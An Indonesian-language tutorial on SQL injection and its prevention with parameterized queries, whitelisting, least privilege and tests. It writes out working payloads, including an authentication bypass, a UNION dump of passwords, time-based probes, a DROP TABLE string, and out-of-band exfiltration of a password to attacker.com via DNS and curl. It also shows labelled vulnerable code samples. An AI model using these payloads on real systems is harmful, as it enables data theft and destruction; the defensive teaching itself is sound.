SQL Injection #
SQL Injection adalah kerentanan keamanan yang sudah dikenal sejak akhir 1990-an — dan masih secara konsisten masuk dalam OWASP Top 10 sampai hari ini. Bukan karena teknik ini canggih atau sulit dideteksi, tapi justru karena sangat mudah dilakukan, sangat merusak, dan sangat mudah dicegah namun tetap sering terjadi.
Yang membuat SQL Injection berbeda dari kebanyakan kerentanan adalah skalanya. Sebuah bug performa yang buruk memperlambat satu endpoint. Sebuah bug logika menyebabkan satu fitur tidak bekerja. Tapi satu titik SQL Injection bisa memberi attacker akses ke seluruh database — semua tabel, semua data, semua user. Bukan satu akun yang dikompromikan, tapi jutaan sekaligus. Dan itu bisa terjadi dalam hitungan menit dengan tool otomatis seperti sqlmap.
Memahami SQL Injection secara mendalam berarti memahami mengapa string concatenation ke query SQL adalah tindakan yang tidak bisa dibenarkan dalam kondisi apapun — dan bagaimana cara yang benar mengonstruksi query database tanpa membuka celah ini.
Bagaimana SQL Injection Bekerja #
Untuk memahami SQL Injection, perlu dipahami dulu bagaimana database mengeksekusi query. Ketika aplikasi mengirim query ke database, database menerimanya sebagai satu string teks yang kemudian di-parse untuk memisahkan mana yang “struktur query” dan mana yang “data”. Masalahnya: ketika developer membangun query dengan string concatenation, batas antara struktur dan data menjadi ambigu.
Tanpa SQL Injection — query yang diharapkan:
Input email: "[email protected]"
Query yang dibangun: SELECT * FROM users WHERE email = '[email protected]'
Database parse:
├── Struktur : SELECT * FROM users WHERE email = [kondisi]
└── Data : '[email protected]'
Database mencari user dengan email [email protected] — normal.
Dengan SQL Injection — query yang terjadi:
Input email: "' OR '1'='1' --"
Query yang dibangun: SELECT * FROM users WHERE email = '' OR '1'='1' --'
Database parse:
├── Struktur : SELECT * FROM users WHERE email = '' OR '1'='1'
│ (-- adalah komentar, sisa query diabaikan)
└── Data : tidak ada — semua jadi struktur!
Kondisi OR '1'='1' selalu true → semua baris dikembalikan.
Login berhasil tanpa kredensial valid.
Kunci dari serangan ini: attacker berhasil mengubah struktur query, bukan hanya nilainya. Tanda kutip tunggal (') adalah karakter yang “keluar” dari konteks data dan masuk ke konteks SQL — dan ini yang memungkinkan manipulasi.
flowchart TD
A[User mengirim input] --> B{Aplikasi membangun query}
B --> |String concatenation| C[Input langsung dimasukkan ke query]
C --> D{Input mengandung karakter SQL?}
D --> |Tidak| E[Query berjalan normal]
D --> |Ya: tanda kutip, --, UNION, dll| F[Struktur query berubah]
F --> G[Database mengeksekusi query yang dimanipulasi]
G --> H[Data bocor / login bypass / data destruction]
B --> |Parameterized query| I[Input diperlakukan sebagai data murni]
I --> ETiga Jenis SQL Injection #
1. In-Band SQL Injection (Klasik) #
Hasil serangan langsung terlihat di response HTTP. Ini yang paling mudah dieksploitasi karena attacker mendapat feedback langsung.
Error-based SQLi memanfaatkan error message database yang muncul di response:
-- Input yang dikirim attacker:
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
-- Error yang muncul di response:
-- XPATH syntax error: '~8.0.32-MySQL Community Server'
-- Attacker baru saja mendapat versi MySQL dari error message!
-- Dari sini mereka tahu exploit mana yang bisa digunakan.
Union-based SQLi menggunakan UNION untuk menggabungkan hasil query tambahan:
-- Input awal untuk mengetahui jumlah kolom:
' ORDER BY 1 -- → tidak error
' ORDER BY 2 -- → tidak error
' ORDER BY 3 -- → error → query asli punya 2 kolom
-- Setelah tahu ada 2 kolom, gunakan UNION:
' UNION SELECT username, password FROM users --
-- Query yang dieksekusi:
SELECT product_name, price FROM products WHERE id = ''
UNION
SELECT username, password FROM users --'
-- Response menampilkan daftar username dan password dari tabel users!
2. Blind SQL Injection #
Response tidak menampilkan data langsung, tapi attacker masih bisa mengekstrak informasi melalui inferensi.
Boolean-based Blind SQLi — attacker mengajukan pertanyaan ya/tidak melalui perubahan perilaku aplikasi:
-- Pertanyaan: apakah karakter pertama nama database adalah 'a'?
-- Input:
' AND SUBSTRING(database(), 1, 1) = 'a' --
-- Jika halaman berubah (beda response/status) → kondisi TRUE
-- Jika halaman sama → kondisi FALSE
-- Dengan 26 karakter alfabet dan binary search:
-- Nama database 8 karakter bisa ditemukan dalam ~40 request
Time-based Blind SQLi — attacker menggunakan delay untuk mengekstrak informasi:
-- Jika respons delay ~5 detik, kondisi TRUE
-- Input MySQL:
' AND IF(SUBSTRING(database(), 1, 1) = 's', SLEEP(5), 0) --
-- Input PostgreSQL:
'; SELECT CASE WHEN (SUBSTRING(current_database(), 1, 1) = 's')
THEN pg_sleep(5) ELSE pg_sleep(0) END --
-- Tool otomatis seperti sqlmap bisa mengekstrak seluruh database
-- dalam beberapa jam menggunakan teknik ini, bahkan tanpa error message apapun
Betapa efektifnya blind time-based SQLi dengan binary search:
Target: nama database dengan 8 karakter
Binary search per karakter: ~7 request (log₂ 256 untuk ASCII)
Total request untuk nama database: 8 × 7 = ~56 request
Dengan sqlmap --level=3 dan kecepatan 10 req/detik:
→ Nama database dalam ~6 detik
→ Seluruh schema database dalam menit
→ Isi tabel users (1 juta baris) dalam beberapa jam
3. Out-of-Band SQL Injection #
Data diekstrak melalui channel komunikasi yang berbeda — biasanya DNS lookup atau HTTP request ke server yang dikontrol attacker. Ini digunakan ketika in-band dan blind tidak efektif karena respons aplikasi tidak mencerminkan hasil query.
-- MySQL: ekstrak data via DNS lookup (jika server punya akses DNS keluar)
' AND LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1),
'.attacker.com\\file')) --
-- PostgreSQL: ekstrak data via HTTP (jika dblink tersedia)
'; COPY (SELECT password FROM users LIMIT 1) TO PROGRAM
'curl http://attacker.com/?data=' --
Out-of-band SQLi lebih jarang berhasil karena membutuhkan konfigurasi database yang spesifik, tapi demonstrasi ini menunjukkan bahwa SQL Injection bukan hanya tentang query SELECT — database yang memiliki kemampuan network bisa menjadi vektor eksfiltrasi data yang sangat efektif.
Mengapa SQL Injection Masih Terjadi di 2025 #
Setelah lebih dari 25 tahun dikenal, SQL Injection masih masuk OWASP Top 10. Ada beberapa pola yang berulang:
Pola yang membuat SQL Injection bertahan:
1. Legacy code yang ditulis sebelum parameterized query menjadi standar
→ Ribuan baris query concatenation yang "bekerja" dan tidak disentuh
2. "ORM sudah aman, tidak perlu khawatir"
→ ORM aman untuk operasi standar, tapi developer sering menggunakan
raw query untuk kasus khusus tanpa sadar membuka celah
3. Dynamic query untuk kolom atau tabel
→ Parameterized query tidak bisa mem-parameterize nama kolom atau tabel
→ Developer membangun dinamisme ini dengan concatenation
4. Tekanan deadline
→ "Nanti di-fix kalau ada waktu" — yang tidak pernah datang
5. False sense of security dari WAF
→ WAF bisa dibypass — ia bukan pengganti parameterized query
6. Input filtering yang tidak lengkap
→ Menghapus tanda kutip tunggal tidak cukup karena ada
encoding trick dan konteks yang berbeda
Solusi Utama: Parameterized Query #
Parameterized query — juga disebut prepared statement — adalah solusi yang benar-benar memecahkan masalah SQL Injection, bukan hanya memitigasinya. Cara kerjanya: struktur query dikirim ke database terpisah dari data. Database mem-parse struktur query terlebih dahulu, baru kemudian memasukkan data sebagai nilai literal. Input dari user tidak pernah bisa mengubah struktur query karena ia tidak pernah digabungkan ke string query.
# Python dengan psycopg2 (PostgreSQL)
# ANTI-PATTERN: concatenation langsung
def get_user_unsafe(email):
query = f"SELECT * FROM users WHERE email = '{email}'"
cursor.execute(query)
return cursor.fetchone()
# BENAR: parameterized query
def get_user_safe(email):
query = "SELECT * FROM users WHERE email = %s"
cursor.execute(query, (email,)) # email diperlakukan sebagai data murni
return cursor.fetchone()
# BENAR: multiple parameters
def search_orders_safe(user_id, status, min_amount):
query = """
SELECT id, total, status, created_at
FROM orders
WHERE user_id = %s
AND status = %s
AND total >= %s
ORDER BY created_at DESC
"""
cursor.execute(query, (user_id, status, min_amount))
return cursor.fetchall()
// Go dengan database/sql
// ANTI-PATTERN
func getUserUnsafe(email string) (*User, error) {
query := "SELECT * FROM users WHERE email = '" + email + "'"
row := db.QueryRow(query)
// ...
}
// BENAR: placeholder ? untuk parameterized query
func getUserSafe(email string) (*User, error) {
query := "SELECT id, name, email FROM users WHERE email = ?"
row := db.QueryRow(query, email)
var user User
err := row.Scan(&user.ID, &user.Name, &user.Email)
return &user, err
}
// Java dengan JDBC
// ANTI-PATTERN
String query = "SELECT * FROM users WHERE email = '" + email + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);
// BENAR: PreparedStatement
String query = "SELECT * FROM users WHERE email = ?";
PreparedStatement pstmt = conn.prepareStatement(query);
pstmt.setString(1, email); // parameter pertama (1-indexed)
ResultSet rs = pstmt.executeQuery();
ORM Bukan Jaminan Mutlak #
ORM seperti SQLAlchemy, Hibernate, Eloquent, dan GORM menggunakan parameterized query secara default untuk operasi standar — tapi ada beberapa jalur yang masih bisa membuka celah SQLi bahkan dengan ORM.
# SQLAlchemy — aman untuk operasi standar
from sqlalchemy import select
from models import User
# AMAN: ORM generate parameterized query secara otomatis
user = session.query(User).filter(User.email == email).first()
# Query yang digenerate: SELECT * FROM users WHERE email = ? [dengan parameter]
# ✗ ANTI-PATTERN dengan ORM: menggunakan text() tanpa binding
from sqlalchemy import text
# BERBAHAYA: string concatenation di dalam text()
query = text(f"SELECT * FROM users WHERE email = '{email}'")
result = session.execute(query)
# BENAR: text() dengan binding parameter
query = text("SELECT * FROM users WHERE email = :email")
result = session.execute(query, {"email": email})
# ✗ ANTI-PATTERN: filter dengan string langsung (jarang tapi ada)
# BERBAHAYA di beberapa ORM lama:
User.query.filter(f"email = '{email}'") # jangan pernah ini
# ✗ ANTI-PATTERN: ORDER BY dinamis yang tidak di-whitelist
# ORDER BY tidak bisa di-parameterisasi
sort_column = request.args.get('sort', 'created_at')
query = f"SELECT * FROM orders ORDER BY {sort_column}"
# Jika sort_column = "id; DROP TABLE orders--", query berbahaya dieksekusi!
# BENAR: whitelist untuk kolom yang boleh di-sort
ALLOWED_SORT_COLUMNS = {'created_at', 'total', 'status', 'id'}
sort_column = request.args.get('sort', 'created_at')
if sort_column not in ALLOWED_SORT_COLUMNS:
sort_column = 'created_at' # default aman
query = text(f"SELECT * FROM orders ORDER BY {sort_column}")
# Sekarang aman karena hanya nilai dari whitelist yang bisa masuk
Dynamic Query yang Aman #
Ada skenario di mana query memang harus dibangun secara dinamis — filter yang opsional, sorting yang bisa dipilih user, atau search dengan banyak parameter. Cara yang aman adalah dengan membangun kondisi secara programatik dan selalu menggunakan parameter binding untuk nilai.
# Membangun dynamic WHERE clause yang aman
def search_products(filters):
"""
filters: dict yang bisa berisi:
- category_id: int
- min_price: float
- max_price: float
- in_stock: bool
- search: str (untuk pencarian nama)
"""
conditions = []
params = {}
# Setiap kondisi dibangun secara terpisah dari nilainya
if filters.get('category_id'):
conditions.append("category_id = :category_id")
params['category_id'] = filters['category_id']
if filters.get('min_price') is not None:
conditions.append("price >= :min_price")
params['min_price'] = filters['min_price']
if filters.get('max_price') is not None:
conditions.append("price <= :max_price")
params['max_price'] = filters['max_price']
if filters.get('in_stock'):
conditions.append("stock > 0") # tidak ada parameter, tapi bukan input user
if filters.get('search'):
conditions.append("name LIKE :search")
params['search'] = f"%{filters['search']}%" # nilai dibound sebagai parameter
# Susun query — hanya kondisi dan nama kolom yang di-build secara dinamis,
# bukan nilai. Nilai SELALU melalui binding.
where_clause = " AND ".join(conditions) if conditions else "1=1"
query = text(f"SELECT * FROM products WHERE {where_clause}")
return session.execute(query, params).fetchall()
Defense in Depth: Lapisan Perlindungan Tambahan #
Parameterized query adalah perlindungan utama dan tidak bisa digantikan. Tapi defense in depth menambahkan lapisan perlindungan yang meminimalkan dampak jika ada celah yang terlewat.
Least Privilege untuk Database User #
Jika SQL injection berhasil, level akses database user menentukan seberapa besar kerusakannya.
-- ANTI-PATTERN: aplikasi menggunakan root atau superuser
-- Jika SQLi berhasil: attacker bisa DROP, ALTER, CREATE, FILE, dsb
-- BENAR: buat user dengan hak minimal
-- User untuk operasi normal aplikasi (baca + tulis):
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_random_password';
GRANT SELECT, INSERT, UPDATE, DELETE ON myapp.* TO 'app_user'@'localhost';
-- User untuk operasi migration saja (digunakan CI/CD, bukan aplikasi):
CREATE USER 'migration_user'@'localhost' IDENTIFIED BY 'different_strong_password';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, ALTER, DROP
ON myapp.* TO 'migration_user'@'localhost';
-- Tidak ada yang perlu FILE, SUPER, atau GRANT OPTION di aplikasi biasa
FLUSH PRIVILEGES;
-- Dengan least privilege:
-- SQLi yang menggunakan SELECT → bisa baca data (masih serius)
-- SQLi yang mencoba DROP TABLE → gagal (tidak ada hak)
-- SQLi yang mencoba FILE (untuk baca /etc/passwd) → gagal
Error Handling yang Tidak Membocorkan Informasi #
# ANTI-PATTERN: database error muncul langsung ke user
@app.route('/search')
def search():
query = request.args.get('q')
try:
results = db.execute(f"SELECT * FROM products WHERE name LIKE '%{query}%'")
return jsonify(results)
except Exception as e:
return str(e), 500
# Response: "You have an error in your SQL syntax near '...'
# Attacker mendapat konfirmasi bahwa SQLi berhasil dan detail struktur query
# BENAR: log error internal, tampilkan pesan generik ke user
import logging
logger = logging.getLogger(__name__)
@app.route('/search')
def search():
query = request.args.get('q', '')
try:
# Parameterized query — tidak ada SQLi
results = db.execute(
"SELECT id, name, price FROM products WHERE name LIKE %s",
(f"%{query}%",)
)
return jsonify(results)
except DatabaseError as e:
# Log detail untuk debugging internal
logger.error(f"Database error in search: {e}", extra={'query': query})
# Tampilkan pesan generik ke user — tidak ada informasi teknis
return jsonify({'error': 'Terjadi kesalahan. Silakan coba lagi.'}), 500
Mendeteksi dan Menguji SQL Injection #
Mengetahui cara attacker menguji aplikasi membantu developer menulis test yang efektif.
Payload standar untuk testing SQLi (gunakan hanya pada aplikasi milik sendiri):
Basic detection:
' → cek apakah ada error SQL
'' → escape double quote test
` → backtick untuk MySQL
; → statement terminator
Authentication bypass:
' OR '1'='1 → classic bypass
' OR 1=1 -- → dengan komentar
admin'-- → bypass login form
' OR 'x'='x → variasi
UNION-based:
' UNION SELECT NULL --
' UNION SELECT NULL, NULL -- → cari jumlah kolom
Time-based blind:
' AND SLEEP(5) -- → MySQL
'; SELECT pg_sleep(5) -- → PostgreSQL
Automated: sqlmap -u "http://target/search?q=test" --level=3
# Unit test untuk memastikan endpoint tidak rentan SQLi
def test_search_not_vulnerable_to_sqli():
"""Test bahwa endpoint search tidak rentan SQL injection."""
sqli_payloads = [
"' OR '1'='1",
"'; DROP TABLE products; --",
"' UNION SELECT username, password FROM users --",
"1' AND SLEEP(5) --",
]
for payload in sqli_payloads:
response = client.get(f'/search?q={payload}')
# Endpoint harus tetap mengembalikan response normal (bukan error SQL)
assert response.status_code in [200, 404], \
f"Unexpected status {response.status_code} for payload: {payload}"
# Tidak boleh ada informasi SQL dalam response
response_text = response.data.decode('utf-8').lower()
sql_error_indicators = [
'syntax error', 'mysql_fetch', 'sql syntax',
'ora-01756', 'unterminated string', 'pg_query'
]
for indicator in sql_error_indicators:
assert indicator not in response_text, \
f"SQL error indicator found: {indicator} for payload: {payload}"
# Tidak boleh ada data dari tabel lain yang muncul
assert 'password' not in response_text
assert 'username' not in response_text
Anti-Pattern yang Harus Dihindari #
# ✗ Anti-pattern 1: string formatting/concatenation ke query
query = "SELECT * FROM orders WHERE user_id = %d" % user_id
query = f"SELECT * FROM users WHERE email = '{email}'"
query = "SELECT * FROM products WHERE name = '" + name + "'"
# ✗ Anti-pattern 2: sanitasi manual sebagai satu-satunya perlindungan
def "safe"_query(email):
email = email.replace("'", "''") # escape single quote
query = f"SELECT * FROM users WHERE email = '{email}'"
# Ini tidak cukup — ada encoding tricks dan konteks lain yang tidak ditangani
# ✗ Anti-pattern 3: menganggap validasi input sudah cukup
def process_input(user_id):
if not user_id.isdigit():
abort(400)
# user_id sudah angka saja, tapi masih concatenation — bukan solusi universal
query = f"SELECT * FROM users WHERE id = {user_id}"
# ✗ Anti-pattern 4: dynamic table/column name dari user tanpa whitelist
sort_by = request.args.get('sort')
query = f"SELECT * FROM orders ORDER BY {sort_by}" # berbahaya
# ✓ Solusi untuk semua kasus di atas:
# Nilai → parameterized query
# Nama tabel/kolom → whitelist eksplisit, tidak pernah dari user langsung
Checklist Pencegahan SQL Injection #
QUERY CONSTRUCTION:
□ Semua database query menggunakan parameterized query / prepared statement
□ Tidak ada string concatenation atau f-string dengan user input ke query
□ Dynamic ORDER BY / GROUP BY menggunakan whitelist kolom yang diizinkan
□ Dynamic table name menggunakan whitelist, tidak pernah langsung dari user
ORM USAGE:
□ Raw query dalam ORM menggunakan parameter binding, bukan string formatting
□ filter() dan where() menggunakan kolom object, bukan string dari user
□ Semua tempat penggunaan text() / raw() di-review secara khusus
DATABASE CONFIGURATION:
□ Aplikasi menggunakan database user dengan hak minimal (bukan root)
□ User aplikasi tidak memiliki hak DROP, ALTER, CREATE, FILE
□ Migration user terpisah dari runtime user
□ Error SQL tidak muncul di response yang diterima user
TESTING:
□ Ada unit test dengan SQLi payload untuk endpoint yang menerima input
□ Security testing (DAST) dilakukan secara berkala
□ Code review memeriksa semua tempat query dibangun
MONITORING:
□ Log mencatat query error (internal saja, tidak ke user)
□ Alert dipasang untuk anomali: banyak error query dalam waktu singkat
□ WAF sebagai lapisan tambahan (bukan pengganti parameterized query)
Ringkasan #
- Parameterized query adalah satu-satunya solusi yang benar — input sanitasi dan escaping tidak cukup karena ada konteks dan encoding yang tidak tertangani. Parameterized query memisahkan struktur query dari data secara fundamental.
- String concatenation ke SQL query tidak bisa dibenarkan dalam kondisi apapun — tidak ada kasus penggunaan yang sah yang memerlukan menggabungkan input user langsung ke string query.
- ORM bukan jaminan mutlak — raw query, text() function, dan dynamic column/table name tetap bisa membuka celah SQLi bahkan dengan ORM.
- Dynamic ORDER BY dan tabel name tidak bisa di-parameterize — gunakan whitelist eksplisit untuk kolom yang boleh di-sort, jangan pernah terima nama kolom atau tabel dari user tanpa whitelist.
- Tiga jenis SQLi dengan dampak berbeda — in-band (langsung terlihat di response), blind boolean/time-based (perlu inferensi), dan out-of-band (melalui channel lain). Parameterized query mencegah ketiganya.
- Least privilege database user meminimalkan dampak — jika SQLi berhasil, user aplikasi yang hanya punya SELECT tidak bisa DROP atau mengeksekusi file.
- Error SQL tidak boleh terlihat user — setiap error message yang mengandung informasi database (nama tabel, struktur query, versi DB) adalah informasi berharga bagi attacker.
- WAF adalah lapisan tambahan, bukan pengganti — WAF bisa dibypass dengan encoding tricks. Jangan andalkan WAF sebagai satu-satunya perlindungan.
- Tool otomatis membuat SQLi mudah dieksploitasi — sqlmap bisa mengekstrak seluruh schema database dalam hitungan menit. Satu titik rentan = seluruh database terekspos.
- Unit test dengan SQLi payload adalah investasi kecil dengan nilai besar — beberapa baris test yang mencoba payload
' OR '1'='1bisa mencegah insiden yang nilainya jutaan.